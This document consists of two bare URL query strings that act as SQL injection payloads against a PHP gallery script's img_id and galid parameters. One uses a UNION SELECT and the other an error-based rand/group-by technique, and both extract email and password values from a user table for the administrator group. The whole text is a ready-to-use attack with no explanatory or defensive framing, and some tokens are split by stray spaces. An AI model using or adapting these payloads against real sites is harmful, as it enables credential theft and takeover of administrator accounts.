index.php?p=gallerypic&img_id=-9+union+select+1,2,3,0x78656b,5,6,concat_ws(0x3a,e mail,pass),8,9+from+pure_user+where+ugroup=1&galid =1&area=1&ascdesc=desc
index.php?p=gallerypic&img_id=9&galid=2+or+(1,1)=( select+count(0),concat((select+concat_ws(0x3a,emai l,pass)+from+pure_user+where+ugroup=1),floor(rand( 0)*2))from(information_schema.columns)group+by+2)& area=1&ascdesc=desc